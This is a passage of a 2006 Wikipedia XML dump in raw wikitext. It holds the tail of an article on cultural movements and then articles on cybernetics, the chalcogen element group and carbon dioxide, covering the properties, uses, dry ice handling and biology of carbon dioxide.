** A reaction to Modernism, in a way, Postmodernism largely discards the notion that artists should seek pure fundamentals, often questioning whether such fundamentals even exist - or suggestion that if they do exist, they may be irrelevant. It is exemplified by movements such as [[deconstruction]], [[conceptual art]], ''etc.''
** See: [[Postmodern philosophy]] &amp;mdash; [[Postmodern music]] &amp;mdash; [[Postmodern art]]

* [[Posthumanism]]

&lt;!--Other isms to try to work into the above, if relevant:
 idealism, imagism
 mystic(ism)
 naturalism
 Sophist(s)
 Eclectic and Revival Styles --&gt;

==See also==
* [[Art styles, periods and movements]]
* [[List of art movements]]
* [[Critical theory]]
* [[Cultural imperialism]]
* [[History of philosophy]]
* [[Periodization]]
* [[Self-declared art movement]]
* [[Social movement]]

&lt;!--Given the technical innovations of the internet and the increasing use of computers in new ways, and the decreased emphasis on need for a commercial infrastructure to disseminate art, could we be on the verge of a new cultural movement? Increased emphasis on art as part of a system (e.g., in architecture) or in integrating several different disciplines into one work of art (e.g., involving the internet community as a prelude to a movie release, e.g. Babylon 5, Blair Witch, or A.I.) --&gt;
==External links==
*[http://worldhistorytimeline.net/en/about/listed_entries Alphabetical list of some movements, styles, discoveries and facts on the World History Timeline chart]

[[Category:Cultural movements]]

[[da:Stilperiode]]
[[sr:Оса развоја културе]]</text>
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  </page>
  <page>
    <title>Cybernetics</title>
    <id>5904</id>
    <revision>
      <id>41912312</id>
      <timestamp>2006-03-02T15:53:02Z</timestamp>
      <contributor>
        <ip>128.253.117.75</ip>
      </contributor>
      <text xml:space="preserve">{{expert}}
{{alternateuses}}
[[Image:Science-symbol-13a.png|right|87px]]
'''Cybernetics''' is the study of [[communication]] and [[control theory|control]], typically involving regulatory [[feedback]], in living beings and machines, and in combinations of the two (e.g. sociotechnical systems).

The term ''cybernetics'' stems from the [[Greek language|Greek]] ''&amp;#922;&amp;#965;&amp;#946;&amp;#949;&amp;#961;&amp;#957;&amp;#942;&amp;#964;&amp;#951;&amp;#962;'' (''kybernetes'' - meaning steersman, governor, pilot, or rudder; the same root as [[government]]).  It became a powerful [[vogue idea]] from [[1948]] to the [[1960s]]; but since the [[1970s]] use of the term has decreased for a number of reasons, in part because it went out of fashion among devotees of [[artificial intelligence]], with which it differs philosophically.  Current related fields include:- [[complexity theory]], [[Control theory]] and [[dynamic systems theory]]. 

A more philosophical definition, suggested in [[1958]] by [[Louis Couffignal]], one of the pioneers of cybernetics in the [[1930s]], considers cybernetics as ''&quot;the art of assuring efficiency of action&quot;'' (see external links for reference).

==History==

The modern study of cybernetics began at the intersection of [[neurology]], electronic [[network theory]] and [[logic modelling]] around the time of [[World War II|WWII]]. The name 'cybernetics' was coined by [[Norbert Wiener]] to denote the study of &quot;teleological mechanisms&quot; and was popularized through his book ''Cybernetics, or control and communication in the animal and machine'', ([[1948]]).

The word ''cybernetics'' ('cybernétique') had, unbeknownst to Wiener, also been used in [[1834]] by the physicist [[André-Marie Ampère]] (1775-1836) to denote the sciences of government in his classification system of human knowledge. It was also used by [[Plato]] in [[The Republic]] to signify the governance of people. The word [[governor]] and govern is also derived from the same Greek root.

The study of &quot;teleological mechanisms&quot; (&quot;teleos&quot; is Greek for &quot;end&quot; in the sense of &quot;purpose for&quot;) in machinery (i.e. machines with corrective feedback) dates back at least to the late [[1700s]] when [[James Watt]]'s steam engine was equipped with a [[governor (device)|governor]]. In [[1868]] [[James Clerk Maxwell]] published a theoretical article on governors. In 1938 the Romanian scientist [[Stefan Odobleja]] published in Paris ''Psychologie consonantiste'' describing many cybernetic principles. In the [[1940s]] the study and mathematical modelling of regulatory processes became a continuing research effort and two key articles were published in [[1943]]. These papers were ''&quot;Behavior, Purpose and Teleology&quot;'' by [[Arturo Rosenblueth]], [[Norbert Wiener]], and [[Julian Bigelow]]; and the paper ''&quot;A Logical Calculus of the Ideas Immanent in Nervous Activity&quot;'' by [[Warren McCulloch]] and [[Walter Pitts]].

Cybernetics as a discipline was firmly established by Wiener, McCulloch and others, such as [[W. Ross Ashby]] and [[Grey Walter|W. Grey Walter]]. Together with the [[United_States|US]] and [[UK]], an important geographical locus of early cybernetics was [[France]] where Wiener's book was first published.

In the spring of [[1947]], Wiener was invited to a congress on harmonic analysis, held in [[Nancy]], [[France]] and organized by the [[Bourbaki|bourbakist]] mathematician, [[Szolem Mandelbrojt]] (1899-1983), uncle of the world famous mathematician [[Benoit Mandelbrot]].

During this stay in France, Wiener received the offer to write a manuscript on the unifying character of this part of applied mathematics, which is found in the study of [[Brownian motion]] and in telecommunication engineering. The following summer, back in the United States, Wiener decided to introduce the neologism cybernetics into his scientific theory.

Wiener popularized the social implications of cybernetics, drawing analogies between automatic systems such as a regulated steam engine and human institutions in his best-selling ''The Human Use of Human Beings : Cybernetics and Society'' (Houghton-Mifflin, 1950).

==Scope==

In scholarly terms, cybernetics is the study of systems and control in an abstracted sense &amp;mdash; that is, it is not grounded in any one empirical field. 

The emphasis is on the functional relations that hold between the different parts of a system, rather than the parts themselves. These relations include the transfer of [[information]], and circular relations ([[feedback]]) that result in emergent phenomena such as [[self-organization]], and, (expressed as a term coined much later by [[Humberto Maturana]], [[Francisco Varela]] and [[Ricardo Uribe]]), [[autopoiesis]]. The main innovation of cybernetics was the creation of a scientific discipline focused on goals: an understanding of goal-directedness or [[purpose]], resulting from a [[negative feedback]] loop which minimizes the deviation between the perceived situation and the desired situation (goal). As mechanistic as that sounds, cybernetics has the scope and rigor to encompass the human social interactions of agreement and collaboration that, after all, require goals and feedback to attain.

Cybernetics is somewhat erroneously associated in many people's minds with [[robotics]], due to uses such as [[Douglas Adams]]' ''[[Sirius Cybernetics Corporation]]'' and the concept of a ''[[cyborg]]'', a term first popularized by Clynes and Kline in 1960. Additional confusion arose when terms such as 'cyberspace', 'cybercrime', and many others arose.

Ampère's earlier use of the term echoes in the development of [[second-order cybernetics]], which includes observers as part of whatever system is being studied. A primary force behind second-order-cybernetics was [[Heinz von Foerster]], an Austrian trained in physics and magic, who was appointed by Warren McCulloch as the editor of the [[Macy Meetings]], a series of meetings held between 1946 and 1955, involving [[Gregory Bateson]], [[Margaret Mead]], [[F.S.C. Northrop]], [[John von Neumann]], [[Claude Shannon]], [[Conrad Lorenz]], [[Warren McCulloch]], [[Grey Walter|W. Grey Walter]], and [[Norbert Wiener]]. (Wiener is usually considered the “father of cybernetics” because of his authorship of the book ''Cybernetics'', published in 1948, but this is an oversimplification that Wiener would be the first to point out.) These meetings were originally called “Circular Causal and Feedback Mechanisms in Biological and Social Systems”. From this original title, as well as the breadth of fields represented by the attendees, the scope and depth of second-order cybernetics is dramatically apparent.

==Major fields==

* '''General cybernetics (K1 and K2)'''
** [[connectionism]]
** [[decision theory]]
** [[game theory]]
** [[information theory]]
** [[semiotics]]
** [[synergetics]]
** [[systems theory]]
* '''Applied cybernetics (K3)'''
** [[Anthropocybernetics]]
*** [[Microanthropocybernetics]] ([[Psychocybernetics]])
*** [[Macroanthropocybernetics]] ([[Soziocybernetics]])
** [[Biomedical cybernetics]]
*** [[Biological cybernetics]]
*** [[Medical cybernetics]]
** [[Engineering cybernetics]]
** [[Managerial cybernetics]]

* '''[[Second-order_cybernetics|Second-order cybernetics]]'''

==See also==

*[[Artificial intelligence]]
*[[Artificial life]]
*[[Systems biology]]
*[[Automation]]
*[[Brain implant]]
*[[Complex system|Complex systems]]
*[[Machine augmented intelligence]]
*[[Project Cybersyn]] - a Chilean attempt to implement a planned economy using the principles of cybernetics.

==References==
* Norbert Wiener, ''Cybernetics or Control and Communication in the Animal and the Machine'', (Hermann Editions in Paris; Cambridge: MIT Press,Wiley &amp; Sons in NY 1948),
* Ashby, W. R. (1956) ''Introduction to Cybernetics''. Methuen, London. (electronically republished at [http://pespmc1.vub.ac.be/books/IntroCyb.pdf]).
* Heylighen F. &amp; Joslyn C. (2001): &quot;[http://pespmc1.vub.ac.be/Papers/Cybernetics-EPST.pdf Cybernetics and Second Order Cybernetics]&quot;, in: R.A. Meyers (ed.), Encyclopedia of Physical Science &amp; Technology (3rd ed.), Vol. 4, (Academic Press, New York), p. 155-170.
* Pangaro, Paul (1990): &quot;Cybernetics—A Definition&quot;, available at [http://pangaro.com/published/cyber-macmillan.html]
* von Foerster, Heinz (1995): Ethics and Second-Order Cybernetics, available at [http://www.stanford.edu/group/SHR/4-2/text/foerster.html]
* Manfred E. Clynes, and Nathan S. Kline, (1960) &quot;Cyborgs and Space&quot;, ''Astronautics'', September, pp. 26-27 and 74-75; reprinted in Gray, Mentor, and Figueroa-Sarriera, eds., ''The Cyborg Handbook'', New York: Routledge, 1995, pp. 29-34.
* Heims, Steve J.: John von Neumann and Norbert Wiener: From Mathematics to the Technologies of Life and Death, 3. Aufl., Cambridge 1980.
* Heims, Steve J.: Constructing a Social Science for Postwar America. The Cybernetics Group, 1946-1953, Cambridge/London 1993.
* Ilgauds, Hans Joachim: Norbert Wiener, Leipzig 1980.
* Masani, P. Rustom: Norbert Wiener 1894-1964, Basel 1990.
* Bluma, Lars: Norbert Wiener und die Entstehung der Kybernetik im Zweiten Weltkrieg, Münster 2005.
* B.C.Patten and E.P.Odum (1981) 'The Cybernetic Nature of Ecosystems', ''The American Naturalist'', Vol. 118. pp. 886-895.

==External links==
{{wiktionary}}

* [http://www.rmcybernetics.com Cybernetics projects, Physics, and High Voltage]
* [http://egodeath.com Ego Death and Self-Control Cybernetics]
* [http://histm2.free.fr/H.Couffign.htm Louis Couffignal's photos &amp; documents]
* [http://pespmc1.vub.ac.be/ASC/indexASC.html Web Dictionary of Cybernetics and Systems]
* [http://www.gwu.edu/~asc/slide/s1.html Glossary Slideshow (136 slides)]
* [http://pespmc1.vub.ac.be/DEFAULT.html ''Principia Cybernetica Web'']
* [http://www.systems-thinking.de Mindmap-based-page by Ragnar Heil]
* [http://www.cybsoc.org The Cybernetics Society]
* [http://www.asc-cybernetics.org/ American Society for Cybernetics]
*[http://www.iberobotics.com/ Iberobotics - Portal de Robótica en Castellano]
* [http://perso.wanadoo.fr/nathalie.diaz/html/Approche%20syst.htm The Systemic Approach : an introduction]
* [http://www.infoamerica.org/documentos_word/shannon-wiener.htm Cybernetics and Information Theory in the United States, France and the Soviet Union]
* [http://www.medical-cybernetics.de Medizinische Kybernetik | Medical Cybernetics]
* [http://open-site.org/Science/Mathematics/Applied/Cybernetics/ Cybernetics category in the Open Encyclopedia Project]
* [http://www.uni-klu.ac.at/~gossimit/ifsr/francois/papers/systemics_and_cybernetics_in_a_historical_perspective.pdf Systemics and cybernetics in a historical perspective (pdf document)]
: ([http://www.uni-klu.ac.at/~gossimit/ifsr/francois/ more related pdf documents])
* [http://earthops.net/klaatu/delgado.html Dr Jose Delgado / Brain implants]
* [http://www.smithsrisca.demon.co.uk/cybernetics.html Basics of Cybernetics]
* [http://www.asc-cybernetics.org/foundations/definitions.htm Several definitions of cybernetics]
{{Cybernetics}}
* [http://dsoul.blogharbor.com/blog/Systems/Cybernetics Cybernetics Portal]
* [http://www.squidoo.com/Cybernetics Cybernetics Lens]
[[Category:Cybernetics|*]]
[[Category:Systems theory]]
[[Category:Control theory]]
[[Category:Norbert Wiener]]

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  <page>
    <title>Chalcogen</title>
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      <text xml:space="preserve">{| align=&quot;right&quot; style=&quot;margin:0 0 1em 1em;&quot;
! [[Periodic table group|Group]]
! 16
|-
! [[Periodic table period|Period]]
|-
! [[Period 2 element|2]]
| {{element cell| 8|Oxygen|O| |Gas|Nonmetals|Primordial}}
|-
! [[Period 3 element|3]]
| {{element cell|16|Sulfur|S| |Solid|Nonmetals|Primordial}}
|-
! [[Period 4 element|4]]
| {{element cell|34|Selenium|Se| |Solid|Nonmetals|Primordial}}
|-
! [[Period 5 element|5]]
| {{element cell|52|Tellurium|Te| |Solid|Metalloids|Primordial}}
|-
! [[Period 6 element|6]]
| {{element cell|84|Polonium|Po| |Solid|Metalloids|Natural radio}}
|-
! [[Period 7 element|7]]
| {{element cell|116|Ununhexium|Uuh| |Solid|Poor metals|Synthetic}}
|}

The '''chalcogens''' (with the &quot;ch&quot; pronounced with a hard &quot;c&quot; as in &quot;[[chemistry]]&quot;) are the name for the [[periodic table group]] 16 (old-style: VIB or VIA)  in the [[periodic table]]. It is sometimes known as the '''oxygen family'''. It consists of the [[chemical element|elements]] [[oxygen]] ('''O'''), [[sulfur]] ('''S'''), [[selenium]] ('''Se'''), [[tellurium]] ('''Te'''), the radioactive [[polonium]] ('''Po'''), and the synthetic [[ununhexium]] ('''Uuh''').  The compounds of the heavier chalcogens (particularly the [[sulfide]]s, [[selenide]]s, and [[telluride]]s) are collectively known as '''chalcogenides'''.  Unless grouped with a heavier chalcogen, [[oxide]]s are not considered chalcogenides.

The name is generally considered to mean &quot;ore former&quot; from the [[Greek language|Greek]] ''chalcos'' &quot;''ore''&quot; and ''-gen'' &quot;formation&quot;. [http://jchemed.chem.wisc.edu/Journal/Issues/1997/Sep/abs1063.html]

Oxygen and sulfur are [[nonmetal]]s, and polonium, selenium and tellurium are [[metalloid]] [[semiconductor]]s 
(i.e., their electrical properties are between those of a metal and an [[insulator]]). Nevertheless, tellurium, as well as selenium, is often referred to as a metal when in elemental form.  

Chalcogenides are quite common as minerals. For example, FeS&lt;sub&gt;2&lt;/sub&gt; ([[pyrite]]) is an iron ore and AuTe&lt;sub&gt;2&lt;/sub&gt; gave its name to the gold rush town of [[Telluride, Colorado]] in the [[United States]].

The formal [[oxidation number]] of the chalcogen is generally -2 in a chalcogenide but other values (e.g. -1 in pyrite) can be attained.

The highest formal oxidation number +6 is found in sulfates, selenates and tellurates, e.g. in Na&lt;sub&gt;2&lt;/sub&gt;SeO&lt;sub&gt;4&lt;/sub&gt; (sodium selenate). Modern chemical understanding based on [[quantum chemistry|quantum theory]] somewhat outdates the use of formal oxidation numbers in favour of a [[Hartree-Fock|many-electron wavefunction]] approach allowing detailed computer simulation, though the concept, while flawed, is still useful in thought experiments.


{|style=&quot;text-align: center;&quot; border=&quot;0&quot; cellpadding=&quot;2&quot; 
|+ '''Explanation of above periodic table slice:'''
! bgcolor=&quot;{{element color/Nonmetals}}&quot; | [[Nonmetal]]s
! bgcolor=&quot;{{element color/Metalloids}}&quot; | [[Metalloid]]s
! bgcolor=&quot;{{element color/Poor metals}}&quot; | [[Poor metal]]s
| atomic number in &lt;font color=&quot;{{element color/Gas}}&quot;&gt;{{element color/Gas}}&lt;/font&gt; are gases
| atomic number in &lt;font color=&quot;{{element color/Solid}}&quot;&gt;{{element color/Solid}}&lt;/font&gt; are solids
| style=&quot;border:{{element frame/Primordial}};&quot; | solid borders are [[primordial element]]s (older than the [[Earth]])
| style=&quot;border:{{element frame/Natural radio}};&quot; | dashed borders are naturally [[radioactive decay|radioactive element]]s
| style=&quot;border:{{element frame/Synthetic}};&quot; | dotted borders are [[radioactive decay|radioactive]], [[synthetic element]]s
|}


{{PeriodicTablesFooter}} [[Category:Periodic table]]

== See also ==

* [[Gold chalcogenides]]
* [[Periodic table]]

== External links ==

* [http://jchemed.chem.wisc.edu/Journal/Issues/2001/Oct/abs1333_1.html A Second Note on the Term &quot;Chalcogen&quot;]

[[Category:Chalcogens|*]]

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  <page>
    <title>Carbon dioxide</title>
    <id>5906</id>
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      <comment>/* Uses */</comment>
      <text xml:space="preserve">&lt;!-- Here is a table of data; skip past it to edit the text. --&gt;
&lt;!-- The template for this table can be found under [[:Template:Chembox simple organic]]. --&gt;
&lt;!-- Here is a table of data; skip past it to edit the text. --&gt;
{| class=&quot;toccolours&quot; border=&quot;1&quot; style=&quot;float: right; clear: right; margin: 0 0 1em 1em; border-collapse: collapse;&quot;
! {{chembox header}}| '''Carbon dioxide'''
|-
| Other names
| Carbonic acid gas,&lt;br/&gt;Carbonic anhydride,&lt;br/&gt;dry ice (solid)
|-
| [[Chemical formula|Molecular formula]]
| CO&lt;sub&gt;2&lt;/sub&gt;
|-
| [[Molar mass]]
| 44.01 g/mol
|-
| [[Solid state]]
| Dry ice
|-
| Appearance
| colorless gas
|-
| [[CAS registry number|CAS number]]
| [124-38-9]
|-
! {{chembox header}} | Properties
|-
| [[Density]] and [[Phase (matter)|phase]]
| 1600 kg/m³, solid&lt;br/&gt;1.98 kg/m³, gas at 298 K
|-
| [[Soluble|Solubility]] in [[Water (molecule)|water]]
| 1.45 kg/m³
&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Latent heat of&lt;br&gt;vaporization&lt;/td&gt;&lt;td&gt; 25.13 kJ/mol
|-
| [[Melting point]]
| −57°C (216 K), pressurized
|-
| [[Boiling point]]
| −78°C (195 K), sublimes
|-
| [[Acid dissociation constant|Acidity]] (p''K''&lt;sub&gt;a&lt;/sub&gt;)
| 6.35 and 10.33
|-
| [[Viscosity]]
| 0.07 c[[Poise|P]] at −78°C
|-

! {{chembox header}} | Structure
|-
| [[Orbital hybridisation#Molecule shape|Molecular shape]]
&lt;!-- for simple covalent molecules (omit for most large molecules, ionics and complexes) --&gt;
| linear
|-
| [[Crystal structure]]
| [[quartz]]-like
|-
| [[Dipole#Molecular dipoles|Dipole moment]]
| zero
|-
! {{chembox header}} | Hazards &lt;!--  Summary only- MSDS entry provides more complete information --&gt;
|-
| [[Material safety data sheet|MSDS]]
| [[{{PAGENAME}} (data page)#Material Safety Data Sheet|External MSDS]]
|-
| Main [[Worker safety and health|hazard]]s
| asphyxiant, irritant
|-
| [[NFPA 704]]
| [[Image:nfpa_h0.png]][[Image:nfpa_f0.png]][[Image:nfpa_r0.png]] (liquid)&lt;br/&gt;
|-
| [[Risk and Safety Statements|R/S statement]]
| R: As, Fb&lt;br&gt;S: 9, 23, 36a (liquid)
|-
| [[RTECS]] number
| FF6400000
|-
! {{chembox header}} | [[{{PAGENAME}} (data page)|Supplementary data page]]
|-
| [[{{PAGENAME}} (data page)#Structure and properties|Structure &amp; properties]]
| [[Refractive index|''n'']], [[Dielectric constant|''ε&lt;sub&gt;r&lt;/sub&gt;'']], etc.
|-
| [[{{PAGENAME}} (data page)#Spectral data|Spectral data]]
| [[UV/VIS spectroscopy|UV]], [[Infrared spectroscopy|IR]], [[NMR spectroscopy|NMR]], [[Mass spectrometry|MS]]
|-
! {{chembox header}} | Related compounds
|-
| Related [[oxide]]s
| [[methanal]]&lt;br/&gt;[[iron(III) oxide]]
|-
| Related compounds
| [[carbon]]&lt;br/&gt;[[methane]]&lt;br/&gt;[[carbon monoxide]]
|-
| {{chembox header}} | &lt;small&gt;Except where noted otherwise, data are given for&lt;br&gt; materials in their [[standard state|standard state (at 25 °C, 100 kPa)]]&lt;br/&gt;[[wikipedia:Chemical infobox|Infobox disclaimer and references]]&lt;/small&gt;
|-
|}

'''Carbon dioxide''' is an atmospheric [[gas]] comprised of one [[carbon]] and two [[oxygen]] atoms. A very widely known [[chemical compound]], it is frequently called by its formula '''CO&lt;sub &gt;2&lt;/sub &gt;'''.  In its [[solid]] state, it is commonly known as '''dry ice'''.

Carbon dioxide derives from multiple sources including [[volcanic]] outgassing, the [[combustion]] of [[organic compound|organic matter]] and [[Respiration (physiology)|respiration]] processes of living aerobic organisms. It is also produced by various [[microorganism]]s from [[fermentation]] and [[cellular respiration]]. [[Plant]]s utilize carbon dioxide during [[photosynthesis]], using both the carbon and the oxygen to construct [[carbohydrate]]s. In addition, plants also release oxygen to the atmosphere, which is subsequently used for respiration by [[heterotrophic]] organisms, forming a [[cycle]]. It is present in the [[Earth's atmosphere]] at a low concentration and acts as a [[greenhouse gas]]. It is a major component of the [[carbon cycle]].

== Chemical and physical properties ==
Carbon dioxide is a [[color]]less gas which, when inhaled at high concentrations (a dangerous activity because of the associated [[asphyxiation]] risk), produces a sour taste in the mouth and a stinging sensation in the nose and throat. These effects result from the gas dissolving in the [[mucous membranes]] and [[saliva]], forming a weak solution of [[carbonic acid]].

Its density at 25 °C is 1.98 kg m&lt;sup&gt;−3&lt;/sup&gt;, about 1.5 times that of [[Earth's atmosphere|air]]. The carbon dioxide molecule (O=C=O) contains two [[covalent bond|double bonds]] and has a linear shape. It has no electrical [[dipole]]. As it is fully oxidized, it is not very reactive and, in particular, not [[flammable]].

At temperatures below −78 °C, carbon dioxide condenses into a white solid called [[dry ice]].  [[Liquid]] carbon dioxide forms only at [[pressure]]s above 5.1 [[atmosphere (unit)|atm]]; at atmospheric pressure, it passes directly between the gaseous and solid phases in a process called [[sublimation (chemistry)|sublimation]].

[[Water]] will absorb its own [[volume]] of carbon dioxide, and more than this under pressure. About 1% of the dissolved carbon dioxide turns into [[carbonic acid]]. The carbonic acid in turn dissociates partly to form [[bicarbonate]] and [[carbonate]] [[ion]]s.

'''Test For Carbon Dioxide.'''
When a lighted splint is inserted into a test tube containing carbon dioxide, the flame is immediately extinguished, as carbon dioxide does not support combustion. (Certain [[fire extinguishers]] contain carbon dioxide to extinguish the flame). To further confirm that the gas is carbon dioxide, the gas may be bubbled into [[calcium hydroxide]] solution. The calcium hydroxide turns milky because of the formation of calcium carbonate.

== Uses ==
Liquid and solid carbon dioxide are important [[refrigerant]]s, especially in the [[food industry]], where they are employed during the transportation and storage of [[ice cream]] and other [[frozen food]]s. Solid carbon dioxide is called &quot;dry ice&quot; and is used for small shipments where refrigeration equipment is not practical.

Carbon dioxide is used to produce [[carbonated]] [[soft drink]]s and [[soda water]].  Candy called [[Pop Rocks]] is pressurized with carbon dioxide gas at about 600 PSI.  When you put the candy in your mouth, it melts (just like other hard candy) and releases the gas bubbles with an audible &quot;pop&quot;.   Traditionally, the carbonation in [[beer]] and [[sparkling wine]] comes about through natural fermentation, but some manufacturers carbonate these drinks [[artificial]]ly.

The [[leavening agent]]s used in baking produce carbon dioxide to cause dough to rise. [[Baker's yeast]] produces carbon dioxide by fermentation within the dough, while chemical leaveners such as [[baking powder]] and [[baking soda]] release carbon dioxide when heated or exposed to [[acid]]s.

Carbon dioxide is often used as an inexpensive, nonflammable pressurized gas. [[Life jacket]]s often contain canisters of pressured carbon dioxide for quick inflation. Steel capsules are also sold as supplies of compressed gas for [[Air gun|airguns]], [[paintball]] markers, for inflating [[bicycle]] tires, and for making [[carbonated water|seltzer]].  Rapid vaporization of liquid CO&lt;sub&gt;2&lt;/sub&gt; is used for blasting in [[coal mine]]s.

Carbon dioxide extinguishes flames, and some fire extinguishers, especially those designed for electrical fires, contain liquid carbon dioxide under pressure.  Carbon dioxide also finds use as an atmosphere for [[welding]], although in the welding arc, it reacts to [[oxidation|oxidize]] most metals.  Use in the automotive industry is common despite significant evidence that welds made in carbon dioxide are [[brittle]]r than those made in more inert atmospheres, and that such weld joints deteriorate over time because of the formation of carbonic acid. It is used as a welding gas primarily because it is much less expensive than more inert gases such as [[argon]] or [[helium]].

Liquid carbon dioxide is a good [[solvent]] for many [[organic chemistry|organic compounds]], and is used to remove [[caffeine]] from [[coffee]]. First, the green [[coffee beans]] are soaked in water. The beans are placed in the top of a column that's seventy feet high. The carbon dioxide [[fluid]] at about 93 degrees Cel. enters at the bottom of the column. The caffeine diffuses out of the beans and into the carbon dioxide.

Carbon dioxide has begun to attract attention in the [[pharmaceutical]] and other chemical processing industries as a less toxic alternative to more traditional solvents such as [[organochloride]]s. It's used by some [[dry cleaning|dry cleaners]] for this reason. (See [[green chemistry]].)

Plants require carbon dioxide to conduct [[photosynthesis]], and greenhouses may enrich their atmospheres with additional CO&lt;sub&gt;2&lt;/sub&gt; to boost plant growth.  It has been proposed that carbon dioxide from power generation be bubbled into ponds to grow [[algae]] that could then be converted into [[biodiesel]] fuel. High levels of carbon dioxide in the atmosphere effectively exterminate many pests.  Greenhouses will raise the level of CO&lt;sub&gt;2&lt;/sub&gt; to 10,000 ppm (1%) for several hours to eliminate pests such as whitefly, spider mites, and others.

In medicine, up to 5% carbon dioxide is added to pure [[oxygen]] for stimulation of breathing after [[apnea]] and to stabilize the O&lt;sub&gt;2&lt;/sub&gt;/CO&lt;sub&gt;2&lt;/sub&gt; balance in blood.

A common type of industrial gas [[laser]], the [[carbon dioxide laser]], uses carbon dioxide as a medium.

Carbon dioxide is commonly injected into or adjacent to producing [[oil well]]s. It will act as both a pressurizing agent and, when dissolved into the underground [[crude oil]], will significantly reduce its viscosity, enabling the oil to flow more rapidly through the earth to the removal well. In mature oil fields, extensive pipe networks are used to carry the carbon dioxide to the injection points.

==Dry Ice==
'''Dry ice''' is a [[genericized trademark]] for solid (&quot;frozen&quot;) [[carbon dioxide]]. The term was coined in [[1925]] by Prest Air Devices, a company formed in Long Island City, New York in 1923.

Dry ice at normal pressures does not melt into liquid carbon dioxide but rather [[sublimation (physics)|sublimates]] directly into carbon dioxide gas at −78.5&amp;nbsp;[[Celsius|°C]] (−109.3&amp;nbsp;[[Fahrenheit|°F]]).  Hence it is called &quot;dry ice&quot; as opposed to normal &quot;wet&quot; [[ice]] (frozen water).

Dry ice is produced by compressing carbon dioxide gas to a liquid form, removing the heat produced by the compression (see [[Charles' law]]), and then letting the liquid carbon dioxide expand quickly. This expansion causes a drop in [[temperature]] so that some of the CO&lt;sub&gt;2&lt;/sub&gt; freezes into &quot;snow&quot;, which is then compressed into pellets or blocks.

===Uses===
[[Image:Dry_ice.jpg|thumb|right|275px|Dry ice used to cool drinks in [[Central Park]].&lt;br&gt;([[New York City]], [[New York]], [[USA]])]]
*Cooling foodstuffs, biological samples, and other perishable items.
*Producing &quot;dry ice fog&quot; for [[special effect]]s. When dry ice is put into contact with water, the frozen carbon dioxide sublimates into a mixture of cold carbon dioxide gas and cold humid air. This causes [[condensation]] and the formation of [[fog]]; see [[fog machine]]. The effect of fog by the mixture of dry ice with [[water]], is best formed when the water is warm, rather than cold.
*Tiny pellets of dry ice (instead of sand) are [[sandblasting|shot]] at a surface to be cleaned. Dry ice is not as [[Hardness|hard]] as sand, but it speeds processing by sublimating to a gas and does not produce nearly as much lung-damaging dust.
*Increasing [[precipitation (meteorology)|precipitation]] from existing clouds or decreasing cloud thickness by [[cloud seeding]].
*Producing carbon dioxide gas as needed in such systems as the fuel tank [[inerting system]] in the [[B-47]] aircraft.
*Brass or other metallic [[bushings]] are buried in dry ice to shrink their size so they will fit inside a machined hole. When the bushing warms back up, it expands and makes an extremely tight fit.
*As a cooling supplement for [[overclocking]] a [[central processing unit]], a [[graphics processing unit]], or another type of hardware.

===Handling===
Because of its particular characteristics, dry ice requires special precautions when handling. It is extremely cold and there should be no direct contact with skin (i.e., wear proper insulating gloves). It is constantly sublimating to carbon dioxide gas, so it cannot be stored in a sealed container as the pressure buildup will quickly cause the container to explode. The sublimated gas must be ventilated; otherwise, it may fill the enclosed space and create a [[suffocation]] hazard. Special care for ventilating vehicles is needed as well because of the small space. People who handle dry ice should also be aware that carbon dioxide is heavier than air and will sink to the floor. Some markets require those purchasing dry ice to be of 18 years of age or older.

==Biology==
Carbon dioxide is an end product in organisms that obtain energy from breaking down [[sugar]]s or [[fat]]s with [[oxygen]] as part of their [[metabolism]], in a process known as [[cellular respiration]]. This includes all plants, [[animal]]s, many [[fungus|fungi]] and some [[bacterium|bacteria]]. In higher animals, the carbon dioxide travels in the [[blood]] from the body's tissues to the [[lung]]s where it's exhaled.

Carbon dioxide content in fresh [[Earth's atmosphere|air]] is approximately 0.04%, and in exhaled air approximately 4.5%. When inhaled in high concentrations (about 5% by volume), it is [[toxic]] to humans and other animals. This is sometimes known as [[choke damp]], an old mining industry term, and was the cause of death at [[Lake Nyos]] in [[Cameroon]], where an upwelling of CO&lt;sub&gt;2&lt;/sub&gt;-laden lake water in 1986 covered a wide area in a blanket of the gas, killing nearly 2000.

[[Hemoglobin]], the main oxygen-carrying molecule in [[red blood cell]]s, can carry both oxygen and carbon dioxide, although in quite different ways. The decreased binding to oxygen in the blood due to increased carbon dioxide levels is known as the [[Haldane Effect]], and is important in the transport of carbon dioxide from the tissues to the lungs. Conversely, a rise in the partial pressure of CO&lt;sub&gt;2&lt;/sub&gt; or a lower pH will cause offloading of oxygen from hemoglobin. This is known as the [[Bohr Effect]].

According to a study by the USDA [http://itest.slu.edu/articles/90s/hannan.html], an average person's respiration generates approximately 450 liters (roughly 900 grams) of carbon dioxide per day.

CO&lt;sub&gt;2&lt;/sub&gt; is carried in blood in three different ways. Most of it (about 80%&amp;ndash;90%) is converted to bicarbonate ions HCO&lt;sub&gt;3&lt;/sub&gt;&lt;sup&gt;−&lt;/sup&gt; by the enzyme [[carbonic anhydrase]] in the red blood cells. 5%&amp;ndash;10% is dissolved in the plasma and 5%&amp;ndash;10% is bound to hemoglobin as carbamino compounds. The exact percentages vary depending whether it is arterial or venous blood.

The CO&lt;sub&gt;2&lt;/sub&gt; bound to hemoglobin does not bind to the same site as oxygen; rather it combines with the N-terminal groups on the four globin chains. However, because of [[allosteric regulation|allosteric]] effects on the hemoglobin molecule, the binding of CO&lt;sub&gt;2&lt;/sub&gt; does decrease the amount of oxygen that is bound for a given partial pressure of oxygen.

Carbon dioxide may be one of the mediators of local autoregulation of blood supply. If it is high, the [[capillaries]] expand to allow a greater blood flow to that tissue.

Bicarbonate ions are crucial for regulating blood pH. As breathing rate influences the level of CO&lt;sub&gt;2&lt;/sub&gt; in blood, too slow or shallow breathing causes [[respiratory acidosis]], while too rapid breathing, [[hyperventilation]], leads to [[alkalosis|respiratory alkalosis]].

It is interesting to note that although it is oxygen that the body requires for metabolism, it is not low oxygen levels that stimulate breathing, but is instead higher carbon dioxide levels. As a result, breathing low-pressure air or a gas mixture with no oxygen at all (e.g., pure nitrogen) leads to loss of consciousness without subjective breathing problems. This is especially perilous for high-altitude fighter pilots, and is also the reason why the instructions in commercial airplanes for case of loss of cabin pressure stress that one should apply the oxygen mask to oneself before helping others&amp;mdash;otherwise one risks going unconscious without being aware of the imminent peril.

